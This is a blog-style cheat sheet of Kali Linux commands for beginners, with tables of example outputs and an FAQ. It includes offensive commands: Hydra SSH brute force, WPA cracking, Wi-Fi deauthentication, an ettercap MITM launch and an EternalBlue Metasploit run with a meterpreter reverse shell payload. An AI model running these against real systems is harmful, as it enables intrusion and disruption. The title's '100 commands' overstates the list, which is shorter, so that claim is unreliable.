Top 100 Most Useful Kali Linux Commands with Practical Examples for Ethical Hackers and Beginners
Looking for a complete list of the most essential Kali Linux commands used in ethical hacking, penetration testing, and cybersecurity training? This detailed blog covers the top 100 Kali Linux commands with descriptions and real outputs for beginners and experts. From basic terminal navigation to advanced hacking tools like Metasploit, Hydra, Nmap, and SQLMap, each command is explained in a simple format. Use this as your go-to resource for mastering Kali Linux and performing real-world cyber operations.

Table of Contents
- Introduction
- Why Knowing Kali Linux Commands Is Important
- Basic File and Directory Commands
- User Management Commands
- Networking Commands
- System Monitoring and Process Management
- File Permissions and Ownership
- Package Management with APT
- Penetration Testing Tools
- Web and Directory Enumeration
- Wireless Hacking
- Scripting and Custom Tools
- Metasploit Essentials
- Conclusion
- Frequently Asked Questions (FAQs)
Introduction
Kali Linux is a powerful Debian-based Linux distribution designed specifically for penetration testing, ethical hacking, and security auditing. Whether you're a beginner or an expert, mastering the most commonly used Kali Linux commands is essential to becoming proficient in cybersecurity operations. This blog offers a detailed guide to 100 Kali Linux commands, categorized by function, with their usage and expected output.
Why Knowing Kali Linux Commands Is Important
-
Enhances speed and efficiency during testing
-
Provides deeper system control for hackers and researchers
-
Enables automation via scripting
-
Helps in navigating and configuring Kali Linux effectively
Basic File and Directory Commands
Command | Description | Example Output |
---|---|---|
pwd |
Show current directory | /home/kali |
ls |
List files in directory | Desktop Downloads Tools |
cd |
Change directory | Navigates to /etc |
mkdir test |
Create a new directory | Creates /test |
touch file.txt |
Create a new empty file | Creates file.txt |
rm file.txt |
Delete a file | Deletes file.txt |
rmdir test |
Delete empty directory | Removes /test |
cp file1 file2 |
Copy file1 to file2 | Copies content |
mv file1 /tmp |
Move file to /tmp | File moved |
cat file.txt |
View file content | Displays file content |
User Management Commands
Command | Description | Example Output |
---|---|---|
whoami |
Displays current user | kali |
id |
Show user ID | uid=1000(kali) |
adduser hacker |
Add new user | Creates user "hacker" |
passwd hacker |
Set password | Prompts for password |
deluser hacker |
Delete user | Removes "hacker" |
sudo su |
Switch to root | Terminal switches to # |
groups |
Show group membership | kali sudo |
Networking Commands
Command | Description | Example Output |
---|---|---|
ifconfig |
View network interfaces | Shows eth0 , wlan0 |
ip a |
Show IP addresses | IPs of all interfaces |
ping 8.8.8.8 |
Test connectivity | 64 bytes from... |
traceroute google.com |
Trace route to host | List of hops |
netstat -tuln |
Show open ports | Lists active ports |
ss -tuln |
Better alternative to netstat | TCP listening sockets |
nmap 192.168.1.1 |
Port scan target | Open ports listed |
wget http://site.com |
Download via HTTP | Downloads HTML file |
curl -I http://site.com |
Fetch headers | HTTP response headers |
dnsenum domain.com |
DNS enumeration | Nameservers, records |
System Monitoring and Process Management
Command | Description | Example Output |
---|---|---|
top |
Real-time process list | CPU/memory usage |
htop |
Enhanced top | Colorful interface |
ps aux |
List processes | PID, CMD listed |
kill PID |
Kill process | Terminates by PID |
df -h |
Disk usage | /dev/sda1 40% |
du -sh * |
Folder sizes | 10M Documents |
free -m |
RAM usage | Mem: 1024MB |
uptime |
Show uptime | 10:24 up 3:00 |
who |
Logged-in users | kali :0 |
uname -a |
System info | Linux kernel details |
File Permissions and Ownership
Command | Description | Example Output |
---|---|---|
chmod +x script.sh |
Make file executable | Now runnable |
chown user:group file |
Change ownership | Changed file owner |
ls -l |
List permissions | -rw-r--r-- |
chmod 755 file |
Set permissions | Executes for all |
Package Management with APT
Command | Description | Example Output |
---|---|---|
apt update |
Refresh package list | Lists updated repos |
apt upgrade |
Install package updates | Installs available |
apt install nmap |
Install Nmap | Downloads & installs |
apt remove nmap |
Remove package | Deletes package |
dpkg -l |
List installed packages | Alphabetical list |
dpkg -i file.deb |
Install .deb package | Installs manually |
apt-cache search metasploit |
Search package | Lists tools |
Penetration Testing Tools
Command | Description | Example Output |
---|---|---|
msfconsole |
Launch Metasploit | Loads MSF banner |
sqlmap -u |
Detect SQLi | Shows injection points |
burpsuite |
GUI web testing tool | Launches interface |
airmon-ng |
Wireless attack prep | Starts monitor mode |
aircrack-ng capture.cap |
Cracks WiFi password | Password: 12345678 |
john --wordlist=rockyou.txt hash.txt |
Crack password hash | Found: password |
hydra -l admin -P rockyou.txt 192.168.1.10 ssh |
Brute force SSH | Login: admin/pass123 |
wireshark |
Launch packet analyzer | Opens GUI |
ettercap -G |
MITM attack tool | Launches GUI |
ncat -lvp 4444 |
Listen on port | Connection info |
Web and Directory Enumeration
Command | Description | Example Output |
---|---|---|
dirb http://site.com |
Directory brute force | /admin found |
gobuster dir -u http://site.com -w /usr/share/wordlists |
Directory scan | Found /login |
whatweb http://site.com |
Identify tech stack | Apache, PHP |
nikto -h http://site.com |
Web server vulnerabilities | XSS, outdated software |
Wireless Hacking
Command | Description | Example Output |
---|---|---|
airmon-ng start wlan0 |
Monitor mode | Enabled wlan0mon |
airodump-ng wlan0mon |
Capture WiFi packets | BSSID, signal strength |
aireplay-ng -0 10 -a |
Deauth packets | Kicks clients |
aircrack-ng -w rockyou.txt capture.cap |
Crack WPA key | Key: qwerty123 |
Scripting and Custom Tools
Command | Description | Example Output |
---|---|---|
nano script.sh |
Open file editor | Editing script |
bash script.sh |
Run shell script | Executes |
python3 script.py |
Run Python script | Output from script |
chmod +x exploit.py |
Make executable | Can run directly |
Metasploit Essentials
Command | Description | Example Output |
---|---|---|
use exploit/windows/smb/ms17_010_eternalblue |
Load EternalBlue | Module loaded |
set RHOST 192.168.1.10 |
Set target | RHOST => 192.168.1.10 |
set PAYLOAD windows/meterpreter/reverse_tcp |
Set payload | Payload set |
exploit |
Launch exploit | Session opened |
Conclusion
These 100 essential Kali Linux commands cover a wide range of categories including system navigation, user management, networking, file permissions, package management, and advanced tools for hacking and penetration testing. Whether you're just getting started in cybersecurity or a seasoned professional, mastering these commands will greatly enhance your productivity and capabilities in ethical hacking tasks.
Frequently Asked Questions (FAQs)
What is Kali Linux used for in cybersecurity?
Kali Linux is a Debian-based Linux distribution specially designed for ethical hacking, penetration testing, and cybersecurity research.
Is Kali Linux suitable for beginners?
Yes, beginners can use Kali Linux to learn Linux basics and cybersecurity tools, though some prior knowledge of Linux commands helps.
What are some must-know Kali Linux commands?
Commands like ls
, nmap
, ifconfig
, netstat
, whoami
, and msfconsole
are commonly used in penetration testing.
What is the difference between Kali Linux and Ubuntu?
Kali Linux comes preloaded with cybersecurity tools while Ubuntu is a general-purpose Linux distro for everyday use.
How can I update Kali Linux?
Use the commands sudo apt update
followed by sudo apt upgrade
to update all packages.
What is the default user in Kali Linux?
As of recent versions, the default user is kali
with the password kali
.
How do I scan a network using Kali Linux?
You can use nmap
or netdiscover
to scan networks and discover active hosts.
How do I access root in Kali Linux?
Use sudo
before commands or run sudo su
to switch to root temporarily.
What is msfconsole
used for?
msfconsole
launches the Metasploit Framework, a powerful tool for exploitation and vulnerability testing.
How can I crack passwords in Kali Linux?
Tools like John the Ripper
, Hydra
, and Hashcat
are used for brute-force or dictionary attacks.
What is airmon-ng
used for?
airmon-ng
is used to put wireless interfaces into monitor mode for wireless network penetration testing.
How to check open ports on a server in Kali Linux?
You can use nmap -sV
or netstat -tuln
to check open and listening ports.
How can I find DNS records using Kali Linux?
Use tools like dig
, nslookup
, or dnsenum
to query DNS information.
What are common directory navigation commands?
Commands like pwd
, cd
, ls
, and tree
are used to navigate the file system.
How do I see my IP address in Kali Linux?
Use ifconfig
or ip a
to see all IP addresses assigned to your interfaces.
How can I install new tools in Kali Linux?
Use apt install
or clone the tool from GitHub and follow installation instructions.
What does chmod
do?
chmod
changes file permissions for reading, writing, and executing.
What is chown
used for?
chown
is used to change the ownership of a file or directory.
How do I monitor running processes?
Use top
, htop
, or ps aux
to see system and user processes in real time.
How can I start services like Apache in Kali Linux?
Use sudo systemctl start apache2
or service apache2 start
.
Is Kali Linux safe to use as a daily driver?
While possible, Kali is meant for security testing and not optimized for general desktop use.
Can I dual-boot Kali Linux with Windows?
Yes, Kali can be installed alongside Windows using tools like GRUB for dual booting.
How do I open Burp Suite in Kali Linux?
Simply run the command burpsuite
in the terminal to launch the tool.
What is the use of sqlmap
in Kali Linux?
sqlmap
is an automated tool to test websites for SQL injection vulnerabilities.
How do I anonymize my Kali Linux connection?
You can use TOR, VPN, and proxychains for anonymity.
What is Hydra in Kali Linux?
Hydra is a fast password cracking tool used for login brute-force on various services like SSH, FTP, and HTTP.
Can I run Windows programs in Kali Linux?
Using Wine, some Windows programs can be executed, but compatibility may vary.
What is the use of dig
command?
The dig
command is used to perform DNS lookups and see domain information.
How do I create a new file in Kali Linux?
Use touch filename.txt
to create an empty file.
How to unzip or extract a file in Kali Linux?
Use unzip
, tar -xvf
, or gunzip
depending on the file format.